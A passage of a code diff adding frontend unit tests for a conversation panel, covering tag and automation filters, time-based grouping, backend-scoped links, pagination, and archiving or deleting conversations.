+ expect(collectTagFacets(conversations)).toEqual([
+ "origin=slack",
+ "owner=alice",
+ "project=fracture",
+ ]);
+ });
+
+ it("formats bare-tag facets (empty value) as just the key", () => {
+ expect(formatTagFacetLabel("work=")).toBe("work");
+ expect(formatTagFacetLabel("project=fracture")).toBe("project=fracture");
+ });
+
+ const tagFilterFixtures: AppConversation[] = [
+ { ...base, id: "untagged", title: "untagged" },
+ {
+ ...base,
+ id: "slack",
+ title: "slack",
+ tags: { origin: "slack" },
+ },
+ {
+ ...base,
+ id: "alice",
+ title: "alice",
+ tags: { owner: "alice" },
+ },
+ {
+ ...base,
+ id: "both",
+ title: "both",
+ tags: { origin: "slack", owner: "alice" },
+ },
+ ];
+ const tagFilterFacets = ["origin=slack", "owner=alice"];
+
+ it("applies the tag filter with union semantics: any selected facet matches", () => {
+ expect(
+ applyTagConversationFilter(
+ tagFilterFixtures,
+ ["origin=slack", "owner=alice"],
+ tagFilterFacets,
+ ).map((c) => c.id),
+ ).toEqual(["slack", "alice", "both"]);
+
+ expect(
+ applyTagConversationFilter(
+ tagFilterFixtures,
+ ["origin=slack"],
+ tagFilterFacets,
+ ).map((c) => c.id),
+ ).toEqual(["slack", "both"]);
+ });
+
+ it("leaves the list unfiltered for empty or stale tag selections", () => {
+ // An empty selection is "no tag filter", and a selection that no longer
+ // intersects the available facets (tags edited away, selections persisted
+ // from another backend) self-heals the same way instead of yielding an
+ // unfillable empty list — mirroring the automation filter.
+ expect(
+ applyTagConversationFilter(tagFilterFixtures, [], tagFilterFacets).map(
+ (c) => c.id,
+ ),
+ ).toEqual(["untagged", "slack", "alice", "both"]);
+
+ expect(
+ applyTagConversationFilter(
+ tagFilterFixtures,
+ ["origin=irc"],
+ tagFilterFacets,
+ ).map((c) => c.id),
+ ).toEqual(["untagged", "slack", "alice", "both"]);
+ });
+});
+
+describe("partitionByCutoff", () => {
+ const now = Date.parse("2026-08-25T12:00:00.000Z");
+
+ it("puts conversations older than the cutoff in the older bucket", () => {
+ const items = [
+ { updated_at: "2026-08-25T11:30:00.000Z" },
+ { updated_at: "2026-08-25T10:00:00.000Z" },
+ ];
+
+ const { recent, older } = partitionByCutoff(
+ items,
+ OLDER_CONVERSATION_CUTOFF_MS["1h"],
+ now,
+ );
+
+ expect(recent.map((item) => item.updated_at)).toEqual([
+ "2026-08-25T11:30:00.000Z",
+ ]);
+ expect(older.map((item) => item.updated_at)).toEqual([
+ "2026-08-25T10:00:00.000Z",
+ ]);
+ });
+
+ it("keeps a 2-hour-old conversation recent when the cutoff is 1 day", () => {
+ const items = [{ updated_at: "2026-08-25T10:00:00.000Z" }];
+
+ const { recent, older } = partitionByCutoff(
+ items,
+ OLDER_CONVERSATION_CUTOFF_MS["1d"],
+ now,
+ );
+
+ expect(recent).toHaveLength(1);
+ expect(older).toHaveLength(0);
+ });
+
+ it("leaves missing timestamps in recent so they are not hidden", () => {
+ const { recent, older } = partitionByCutoff(
+ [{ updated_at: "" }],
+ OLDER_CONVERSATION_CUTOFF_MS["1h"],
+ now,
+ );
+
+ expect(recent).toHaveLength(1);
+ expect(older).toHaveLength(0);
+ });
+
+ it("accepts only the known cutoff ids", () => {
+ expect(isOlderConversationCutoff("1h")).toBe(true);
+ expect(isOlderConversationCutoff("1d")).toBe(true);
+ expect(isOlderConversationCutoff("2h")).toBe(false);
+ });
+});
diff --git a/__tests__/components/features/conversation-panel/conversation-panel.test.tsx b/__tests__/components/features/conversation-panel/conversation-panel.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c699f076edadfacdfedd3dc8dedd50f4c7b32176
--- /dev/null
+++ b/__tests__/components/features/conversation-panel/conversation-panel.test.tsx
@@ -0,0 +1,2712 @@
+import {
+ act,
+ fireEvent,
+ render,
+ screen,
+ waitFor,
+ within,
+} from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { I18nextProvider } from "react-i18next";
+import i18n from "i18next";
+import { NavigationProvider } from "#/context/navigation-context";
+import {
+ afterEach,
+ beforeAll,
+ beforeEach,
+ describe,
+ expect,
+ it,
+ vi,
+} from "vitest";
+import userEvent from "@testing-library/user-event";
+import { createRoutesStub } from "react-router";
+import React from "react";
+import { renderWithProviders } from "test-utils";
+import { ConversationPanel } from "#/components/features/conversation-panel/conversation-panel";
+import { useConversationPanelPreferencesStore } from "#/stores/conversation-panel-preferences-store";
+import { useArchivedConversationsStore } from "#/stores/archived-conversations-store";
+import { usePinnedConversationsStore } from "#/stores/pinned-conversations-store";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { ExecutionStatus } from "#/types/agent-server/core";
+import { displayErrorToast } from "#/utils/custom-toast-handlers";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { SEEDED_DEFAULT_BACKEND_ID } from "#/api/backend-registry/default-backend";
+import type { Backend } from "#/api/backend-registry/types";
+
+// Mock the unified stop conversation hook
+const mockStopConversationMutate = vi.fn();
+vi.mock("#/hooks/mutation/use-unified-stop-conversation", () => ({
+ useUnifiedPauseConversation: () => ({
+ mutate: mockStopConversationMutate,
+ }),
+}));
+
+// Helper to create complete AppConversation mock data
+// Default timestamps use "now" so conversations are considered recent and
+// rendered eagerly by the panel. Each call produces a timestamp 1 s older
+// than the previous one so that the sort-by-updated_at order matches the
+// array insertion order (first created → newest → cards[0]).
+let _mockConversationCounter = 0;
+const createMockConversation = (
+ overrides: Partial = {},
+): AppConversation => {
+ const ts = new Date(
+ Date.now() - _mockConversationCounter++ * 1000,
+ ).toISOString();
+ return {
+ id: "test-id",
+ title: "Test Conversation",
+ selected_repository: null,
+ git_provider: null,
+ selected_branch: null,
+ updated_at: ts,
+ created_at: ts,
+ execution_status: ExecutionStatus.FINISHED,
+ conversation_url: null,
+ created_by_user_id: "user1",
+ metrics: null,
+ llm_model: null,
+ trigger: null,
+ pr_number: [],
+ session_api_key: null,
+ sandbox_id: null,
+ sub_conversation_ids: [],
+ ...overrides,
+ };
+};
+
+// Mock toast handlers to prevent unhandled rejection errors
+vi.mock("#/utils/custom-toast-handlers", () => ({
+ displaySuccessToast: vi.fn(),
+ displayErrorToast: vi.fn(),
+ TOAST_OPTIONS: {},
+}));
+
+describe("ConversationPanel", () => {
+ const onCloseMock = vi.fn();
+ const RouterStub = createRoutesStub([
+ {
+ Component: () => ,
+ path: "/",
+ },
+ {
+ // Add route to prevent "No routes matched location" warning
+ Component: () => null,
+ path: "/conversations/:conversationId",
+ },
+ ]);
+
+ const renderConversationPanel = (
+ options?: Parameters[1],
+ ) => renderWithProviders( , options);
+
+ // The old single-click filter menu is now the layouts menu, with the
+ // display toggles one level deeper in the Advanced options modal. The
+ // modal stays open across row clicks, so a second call is a no-op.
+ const openAdvancedOptions = async (
+ user: ReturnType,
+ ) => {
+ if (screen.queryByTestId("advanced-conversation-options-modal")) return;
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ await user.click(screen.getByTestId("advanced-options-row"));
+ };
+
+ beforeAll(() => {
+ vi.mock("react-router", async (importOriginal) => ({
+ ...(await importOriginal()),
+ Link: ({ children }: React.PropsWithChildren) => children,
+ useNavigate: vi.fn(() => vi.fn()),
+ useLocation: vi.fn(() => ({ pathname: "/conversation" })),
+ useParams: vi.fn(() => ({ conversationId: "2" })),
+ }));
+ });
+
+ const mockConversations: AppConversation[] = [
+ createMockConversation({ id: "1", title: "Conversation 1" }),
+ createMockConversation({ id: "2", title: "Conversation 2" }),
+ createMockConversation({ id: "3", title: "Conversation 3" }),
+ ];
+
+ const cloudBackend: Backend = {
+ id: "cloud-prod",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-key",
+ kind: "cloud",
+ };
+
+ beforeEach(() => {
+ vi.clearAllMocks();
+ mockStopConversationMutate.mockClear();
+ _mockConversationCounter = 0;
+ usePinnedConversationsStore.setState({ pinsByBackendId: {} });
+ useArchivedConversationsStore.setState({ archivesByBackendId: {} });
+ useConversationPanelPreferencesStore.setState({
+ showOlderConversations: true,
+ olderConversationCutoff: "7d",
+ showArchivedConversations: false,
+ automationFilterMode: "all",
+ selectedAutomationNames: [],
+ selectedTagFacets: [],
+ showTagsMetadata: false,
+ });
+ // Setup default mock for searchConversations
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [...mockConversations],
+ next_page_id: null,
+ });
+ });
+
+ afterEach(() => {
+ vi.useRealTimers();
+ window.localStorage.clear();
+ window.sessionStorage.clear();
+ __resetActiveStoreForTests();
+ });
+
+ it("pins the active backend onto each conversation link", async () => {
+ // A tab opened with cmd/ctrl-click does not reliably inherit the opener's
+ // sessionStorage, so the link has to carry the backend it belongs to or
+ // the new tab resolves the conversation against whichever backend
+ // localStorage happens to hold.
+ renderConversationPanel();
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ const href = cards[0].closest("a")?.getAttribute("href");
+ expect(href).toBe(`/conversations/1?backend=${SEEDED_DEFAULT_BACKEND_ID}`);
+ });
+
+ it("should render the conversations", async () => {
+ renderConversationPanel();
+ const cards = await screen.findAllByTestId("conversation-card");
+
+ // NOTE that we filter out conversations that don't have a created_at property
+ // (mock data has 4 conversations, but only 3 have a created_at property)
+ expect(cards).toHaveLength(3);
+ });
+
+ it("includes the active backend scope in conversation card links", async () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+
+ const ScopedRouterStub = createRoutesStub([
+ {
+ Component: () => ,
+ path: "/",
+ },
+ {
+ Component: () => null,
+ path: "/conversations/:conversationId",
+ },
+ ]);
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+
+ render(
+
+
+
+
+
+
+
+
+ ,
+ );
+
+ const title = await screen.findByText("Conversation 1");
+ expect(title.closest("a")).toHaveAttribute(
+ "href",
+ "/conversations/1?backend=cloud-prod&org=org-2",
+ );
+ });
+
+ it("includes the active backend scope in compact conversation row links", async () => {
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "running",
+ title: "Running Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ const CompactRouterStub = createRoutesStub([
+ {
+ Component: () => ,
+ path: "/",
+ },
+ {
+ Component: () => null,
+ path: "/conversations/:conversationId",
+ },
+ ]);
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+
+ render(
+
+
+
+
+
+
+
+
+ ,
+ );
+
+ expect(
+ await screen.findByLabelText("Running Conversation"),
+ ).toHaveAttribute(
+ "href",
+ "/conversations/running?backend=cloud-prod&org=org-2",
+ );
+ });
+
+ it("should display an empty state when there are no conversations", async () => {
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockResolvedValue({
+ items: [],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ const emptyState = await screen.findByText("CONVERSATION$NO_CONVERSATIONS");
+ expect(emptyState).toBeInTheDocument();
+ });
+
+ it("keeps load more available when the visible list is empty and another page exists", async () => {
+ // Client-side filters (archiving, thread scope) can hide every row of the
+ // loaded pages. Hiding "Load more" there would strand the remaining
+ // backend pages behind an empty list with no way to reach them.
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [],
+ next_page_id: "page-2",
+ });
+
+ renderConversationPanel();
+
+ await screen.findByText("CONVERSATION$NO_CONVERSATIONS");
+ expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument();
+ });
+
+ it("can reach an unarchived conversation on the next page after archiving every loaded row", async () => {
+ // Archiving filters rows out of the visible list without changing
+ // backend pagination. If every currently loaded conversation is archived
+ // while hasNextPage is still true, Load more must stay available and
+ // fetching the next page must surface the unarchived conversation.
+ const user = userEvent.setup();
+ const page1 = [
+ createMockConversation({ id: "archived-1", title: "Archived 1" }),
+ createMockConversation({ id: "archived-2", title: "Archived 2" }),
+ ];
+ const page2 = [
+ createMockConversation({
+ id: "visible-next",
+ title: "Unarchived on next page",
+ }),
+ ];
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockImplementation(async (_limit, pageId) => {
+ if (pageId === "page-2") {
+ return { items: page2, next_page_id: null };
+ }
+ return { items: page1, next_page_id: "page-2" };
+ });
+
+ useArchivedConversationsStore.setState({
+ archivesByBackendId: {
+ "default-local": ["archived-1", "archived-2"],
+ },
+ });
+ useConversationPanelPreferencesStore.setState({
+ showArchivedConversations: false,
+ });
+
+ renderConversationPanel();
+
+ await screen.findByText("CONVERSATION$NO_CONVERSATIONS");
+ expect(
+ screen.queryByText("Unarchived on next page"),
+ ).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("load-more-conversations"));
+
+ expect(
+ await screen.findByText("Unarchived on next page"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByText("CONVERSATION$NO_CONVERSATIONS"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("scopes the list to the automation filter mode across hide and only", async () => {
+ // Arrange: two manual conversations plus one automation run recognized
+ // by its tags (local backend) and one by its trigger (cloud backend).
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({ id: "1", title: "Manual 1" }),
+ createMockConversation({ id: "2", title: "Manual 2" }),
+ createMockConversation({
+ id: "3",
+ title: "Tagged Run",
+ tags: { automationname: "Nightly Audit", automationtrigger: "cron" },
+ }),
+ createMockConversation({
+ id: "4",
+ title: "Cloud Run",
+ trigger: "automation",
+ }),
+ ],
+ next_page_id: null,
+ });
+ useConversationPanelPreferencesStore.setState({
+ automationFilterMode: "hide-automations",
+ });
+
+ // Act + Assert: hide mode keeps only the manual conversations.
+ renderConversationPanel();
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(2);
+ expect(screen.queryByText("Tagged Run")).not.toBeInTheDocument();
+ expect(screen.queryByText("Cloud Run")).not.toBeInTheDocument();
+
+ // Act + Assert: only mode inverts the scope.
+ act(() => {
+ useConversationPanelPreferencesStore.setState({
+ automationFilterMode: "only-automations",
+ });
+ });
+ expect(await screen.findByText("Tagged Run")).toBeInTheDocument();
+ expect(screen.getByText("Cloud Run")).toBeInTheDocument();
+ expect(screen.queryByText("Manual 1")).not.toBeInTheDocument();
+ });
+
+ it("filters from the persistent filter bar and couples automation chips to the mode", async () => {
+ // Arrange: one tagged manual conversation, one untagged, one automation
+ // run (recognized by its automation tags).
+ const user = userEvent.setup();
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "1",
+ title: "Manual 1",
+ tags: { project: "vault" },
+ }),
+ createMockConversation({ id: "2", title: "Manual 2" }),
+ createMockConversation({
+ id: "3",
+ title: "Nightly Run",
+ tags: { automationname: "Nightly Audit", automationtrigger: "cron" },
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ // Selecting a facet in the layouts menu narrows the list.
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ await user.click(screen.getByTestId("tag-filters-section"));
+ await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+ expect(await screen.findByText("Manual 1")).toBeInTheDocument();
+ expect(screen.queryByText("Manual 2")).not.toBeInTheDocument();
+ expect(
+ useConversationPanelPreferencesStore.getState().selectedTagFacets,
+ ).toEqual(["project=vault"]);
+
+ // Deselecting the facet restores the full list.
+ await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+ expect(await screen.findByText("Manual 2")).toBeInTheDocument();
+
+ // The automation scope lives in the Advanced options modal.
+ await user.click(screen.getByTestId("advanced-options-row"));
+ await user.click(screen.getByTestId("automation-filter-only"));
+ expect(
+ useConversationPanelPreferencesStore.getState().automationFilterMode,
+ ).toBe("only-automations");
+ expect(await screen.findByText("Nightly Run")).toBeInTheDocument();
+ expect(screen.queryByText("Manual 1")).not.toBeInTheDocument();
+ });
+
+ it("keeps an active tag filter visible outside the layouts menu", async () => {
+ const user = userEvent.setup();
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "1",
+ title: "Manual 1",
+ tags: { project: "vault" },
+ }),
+ createMockConversation({ id: "2", title: "Manual 2" }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+
+ // Nothing to announce until something is actually filtering.
+ expect(
+ screen.queryByTestId("conversation-active-tag-filters"),
+ ).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ await user.click(screen.getByTestId("tag-filters-section"));
+ await user.click(screen.getByTestId("tag-facet-row-project=vault"));
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+
+ // With the menu closed, the strip is the only thing on screen that says
+ // where Manual 2 went — the facet checkmark is two levels inside a menu.
+ expect(
+ await screen.findByTestId("active-tag-filter-project=vault"),
+ ).toBeInTheDocument();
+ expect(screen.queryByText("Manual 2")).not.toBeInTheDocument();
+
+ // And the way back out is on the strip too, not buried with the facets.
+ await user.click(screen.getByTestId("clear-tag-filters"));
+ expect(await screen.findByText("Manual 2")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("conversation-active-tag-filters"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("keeps a persisted automation-name filter both reachable and visible", async () => {
+ // `selectedAutomationNames` is persisted and narrows the list on its own,
+ // so it needs a control that can see and undo it — otherwise a reload
+ // hides conversations with nothing on screen to say why.
+ const user = userEvent.setup();
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "1",
+ title: "Nightly Run",
+ tags: { automationid: "a-1", automationname: "Nightly Audit" },
+ }),
+ createMockConversation({
+ id: "2",
+ title: "Weekly Run",
+ tags: { automationid: "a-2", automationname: "Weekly Sweep" },
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ renderConversationPanel();
+ expect(await screen.findByText("Nightly Run")).toBeInTheDocument();
+
+ // The name rows live in the advanced-options modal, under the scope.
+ await user.click(screen.getByTestId("conversation-layouts-toggle"));
+ await user.click(screen.getByTestId("advanced-options-row"));
+ await user.click(screen.getByTestId("automation-filter-only"));
+ await user.click(
+ await screen.findByTestId("automation-name-row-Nightly Audit"),
+ );
+ await user.click(screen.getByTestId("advanced-options-close"));
+
+ expect(await screen.findByText("Nightly Run")).toBeInTheDocument();
+ expect(screen.queryByText("Weekly Run")).not.toBeInTheDocument();
+
+ // With every menu closed, the strip is the only thing naming the
+ // narrowing — and the way back out.
+ const chip = await screen.findByTestId(
+ "active-automation-filter-Nightly Audit",
+ );
+ expect(chip).toHaveTextContent("Nightly Audit");
+
+ await user.click(chip);
+ expect(await screen.findByText("Weekly Run")).toBeInTheDocument();
+ expect(
+ useConversationPanelPreferencesStore.getState().selectedAutomationNames,
+ ).toEqual([]);
+ });
+
+ it("clears tag chips from the cards when the Tag chips preference is off", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "1",
+ title: "Tagged 1",
+ tags: { project: "vault" },
+ }),
+ ],
+ next_page_id: null,
+ });
+ useConversationPanelPreferencesStore.setState({ showTagsMetadata: true });
+
+ renderConversationPanel();
+
+ expect(
+ await screen.findByTestId("conversation-card-tag-chip"),
+ ).toBeInTheDocument();
+
+ act(() => {
+ useConversationPanelPreferencesStore.setState({
+ showTagsMetadata: false,
+ });
+ });
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("conversation-card-tag-chip"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("keeps load more reachable with the filtered empty message when the automation filter hides every loaded conversation", async () => {
+ // Arrange: page 1 holds only an automation run (hidden by the active
+ // filter); a manual conversation sits on page 2.
+ const user = userEvent.setup();
+ vi.spyOn(AgentServerConversationService, "searchConversations")
+ .mockResolvedValueOnce({
+ items: [
+ createMockConversation({
+ id: "run",
+ title: "Tagged Run",
+ tags: { automationrunid: "run-1" },
+ }),
+ ],
+ next_page_id: "page-2",
+ })
+ .mockResolvedValueOnce({
+ items: [createMockConversation({ id: "manual", title: "Manual 1" })],
+ next_page_id: null,
+ });
+ useConversationPanelPreferencesStore.setState({
+ automationFilterMode: "hide-automations",
+ });
+
+ renderConversationPanel();
+
+ // Assert: the filter-specific empty message shows and load more stays
+ // reachable.
+ await screen.findByText("CONVERSATION_PANEL$NO_AUTOMATION_MATCHES");
+ const loadMore = await screen.findByTestId("load-more-conversations");
+
+ // Act: fetching the next page surfaces the manual conversation.
+ await user.click(loadMore);
+ expect(await screen.findByText("Manual 1")).toBeInTheDocument();
+ expect(
+ screen.queryByText("CONVERSATION_PANEL$NO_AUTOMATION_MATCHES"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("does not flash the loading skeleton during a background refetch when the list is empty", async () => {
+ // Arrange: first call (initial load) resolves with an empty list.
+ // Second call (the background refetch) is kept in-flight so we can
+ // observe the UI while `isFetching` is true — the exact window in
+ // which the buggy `isFetching`-gated code flashed the skeleton.
+ let resolveRefetch:
+ | ((value: { items: AppConversation[]; next_page_id: null }) => void)
+ | undefined;
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy
+ .mockResolvedValueOnce({ items: [], next_page_id: null })
+ .mockImplementationOnce(
+ () =>
+ new Promise((resolve) => {
+ resolveRefetch = resolve;
+ }),
+ );
+
+ // Use a QueryClient we can reach so we can trigger the background
+ // refetch directly. This drives the same code path as the hook's 10s
+ // `refetchInterval` (both flip `isFetching` to true while existing
+ // data stays in the cache) without paying the cost of fake-timer
+ // gymnastics around React Query's async state machine.
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ const PanelRouterStub = createRoutesStub([
+ {
+ Component: () => ,
+ path: "/",
+ },
+ {
+ Component: () => null,
+ path: "/conversations/:conversationId",
+ },
+ ]);
+ render(
+
+
+
+
+
+
+ ,
+ );
+
+ // Wait for the initial fetch to settle into the empty state.
+ expect(
+ await screen.findByText("CONVERSATION$NO_CONVERSATIONS"),
+ ).toBeInTheDocument();
+
+ // Act: trigger a background refetch directly on the cached query.
+ // This drives the same code path as the hook's 10s `refetchInterval`
+ // (both flip `isFetching` to true while the cached data stays
+ // intact). The second mock holds the request in-flight so the
+ // in-flight UI is observable. We fire-and-forget the fetch because
+ // awaiting it would hang on the held promise.
+ const conversationsQuery = queryClient
+ .getQueryCache()
+ .getAll()
+ .find(
+ (query) =>
+ query.queryKey[0] === "user" && query.queryKey[1] === "conversations",
+ );
+ if (!conversationsQuery) {
+ throw new Error("conversations query was not registered");
+ }
+ await act(async () => {
+ void conversationsQuery.fetch();
+ // Yield once so React Query can dispatch the in-flight state.
+ await Promise.resolve();
+ });
+
+ // Assert: the background refetch fired, but the skeleton did not
+ // flicker back in.
+ await waitFor(() => {
+ expect(searchConversationsSpy).toHaveBeenCalledTimes(2);
+ });
+ expect(
+ screen.queryByTestId("conversation-card-skeleton"),
+ ).not.toBeInTheDocument();
+
+ // Settle the in-flight refetch so React Query can clean up.
+ resolveRefetch?.({ items: [], next_page_id: null });
+ });
+
+ it("should not display the empty state when there are no conversations and the panel is compact", async () => {
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockResolvedValue({
+ items: [],
+ next_page_id: null,
+ });
+
+ const CompactRouterStub = createRoutesStub([
+ {
+ Component: () => ,
+ path: "/",
+ },
+ {
+ Component: () => null,
+ path: "/conversations/:conversationId",
+ },
+ ]);
+
+ renderWithProviders( );
+
+ await waitFor(() => {
+ expect(
+ screen.queryByTestId("conversation-card-skeleton-compact"),
+ ).not.toBeInTheDocument();
+ });
+
+ expect(
+ screen.queryByText("CONVERSATION$NO_CONVERSATIONS"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("hides closed conversations in compact mode", async () => {
+ vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ ).mockResolvedValue({
+ items: [
+ createMockConversation({
+ id: "running",
+ title: "Running Conversation",
+ execution_status: ExecutionStatus.RUNNING,
+ }),
+ createMockConversation({
+ id: "closed",
+ title: "Closed Conversation",
+ execution_status: ExecutionStatus.PAUSED,
+ }),
+ ],
+ next_page_id: null,
+ });
+
+ const CompactRouterStub = createRoutesStub([
+ {
+ Component: () => ,
+ path: "/",
+ },
+ {
+ Component: () => null,
+ path: "/conversations/:conversationId",
+ },
+ ]);
+
+ renderWithProviders( );
+
+ expect(
+ await screen.findByLabelText("Running Conversation"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByLabelText("Closed Conversation"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should not render fetch errors in the conversation panel", async () => {
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockRejectedValue(
+ new Error("Failed to fetch conversations"),
+ );
+
+ renderConversationPanel();
+
+ await waitFor(() => {
+ expect(
+ screen.queryByText("Failed to fetch conversations"),
+ ).not.toBeInTheDocument();
+ });
+ });
+
+ it("should cancel deleting a conversation", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ let cards = await screen.findAllByTestId("conversation-card");
+ // Closed state is observable via the data-context-menu-open attr on the
+ // conversation-card root; visual hiding is covered by Playwright.
+ expect(cards[0]).toHaveAttribute("data-context-menu-open", "false");
+
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+ const deleteButton = screen.getByTestId("delete-button");
+
+ // Click the first delete button
+ await user.click(deleteButton);
+
+ // Cancel the deletion
+ const cancelButton = screen.getByRole("button", { name: /cancel/i });
+ await user.click(cancelButton);
+
+ expect(
+ screen.queryByRole("button", { name: /cancel/i }),
+ ).not.toBeInTheDocument();
+
+ // Ensure the conversation is not deleted
+ cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+ });
+
+ it("should delete a conversation", async () => {
+ const user = userEvent.setup();
+ const mockData: AppConversation[] = [
+ createMockConversation({ id: "1", title: "Conversation 1" }),
+ createMockConversation({ id: "2", title: "Conversation 2" }),
+ createMockConversation({ id: "3", title: "Conversation 3" }),
+ ];
+
+ const searchConversationsSpy = vi.spyOn(
+ AgentServerConversationService,
+ "searchConversations",
+ );
+ searchConversationsSpy.mockImplementation(async () => ({
+ items: mockData,
+ next_page_id: null,
+ }));
+
+ const deleteConversationSpy = vi.spyOn(
+ AgentServerConversationService,
+ "deleteConversation",
+ );
+ deleteConversationSpy.mockImplementation(async (id: string) => {
+ const index = mockData.findIndex((conv) => conv.id === id);
+ if (index !== -1) {
+ mockData.splice(index, 1);
+ }
+ });
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ // Initially shows 3 conversations (no filtering)
+ expect(cards).toHaveLength(3);
+
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+ const deleteButton = screen.getByTestId("delete-button");
+
+ // Click the first delete button
+ await user.click(deleteButton);
+
+ // Confirm the deletion
+ const confirmButton = screen.getByRole("button", { name: /confirm/i });
+ await user.click(confirmButton);
+
+ // Verify modal is closed after confirmation
+ expect(
+ screen.queryByRole("button", { name: /confirm/i }),
+ ).not.toBeInTheDocument();
+ });
+
+ it("should archive a conversation and remove it from the list", async () => {
+ const user = userEvent.setup();
+ renderConversationPanel();
+
+ let cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+
+ const firstCardTitle = within(cards[0]).getByText("Conversation 1");
+ expect(firstCardTitle).toBeInTheDocument();
+
+ const ellipsisButton = within(cards[0]).getByTestId("ellipsis-button");
+ await user.click(ellipsisButton);
+ await user.click(screen.getByTestId("archive-button"));
+
+ expect(
+ screen.getByText("CONVERSATION$CONFIRM_ARCHIVE"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByRole("button", { name: /archive/i }));
+
+ await waitFor(() => {
+ expect(
+ screen.queryByText("CONVERSATION$CONFIRM_ARCHIVE"),
+ ).not.toBeInTheDocument();
+ });
+
+ cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(2);
+ expect(screen.queryByText("Conversation 1")).not.toBeInTheDocument();
+ });
+
+ it("shows archived conversations when the preference is on and restores them", async () => {
+ // Archiving must stay reversible — that is the whole distinction from
+ // deleting, which removes the conversation from the agent server.
+ const user = userEvent.setup();
+ useArchivedConversationsStore
+ .getState()
+ .archiveConversation("default-local", "1");
+ useConversationPanelPreferencesStore.setState({
+ showArchivedConversations: true,
+ });
+
+ renderConversationPanel();
+
+ const cards = await screen.findAllByTestId("conversation-card");
+ expect(cards).toHaveLength(3);
+ const archivedCard = cards.find((card) =>
+ within(card).queryByText("Conversation 1"),
+ )!;
+ expect(
+ within(archivedCard).getByTestId("conversation-card-archived-chip"),
+ ).toBeInTheDocument();
+
+ await user.click(within(archivedCard).getByTestId("ellipsis-button"));
+ await user.click(screen.getByTestId("unarchive-button"));
+
+ await waitFor(() => {
+ expect(
+ useArchivedConversationsStore
+ .getState()
+ .isArchived("default-local", "1"),
+ ).toBe(false);
+ });
+ expect(
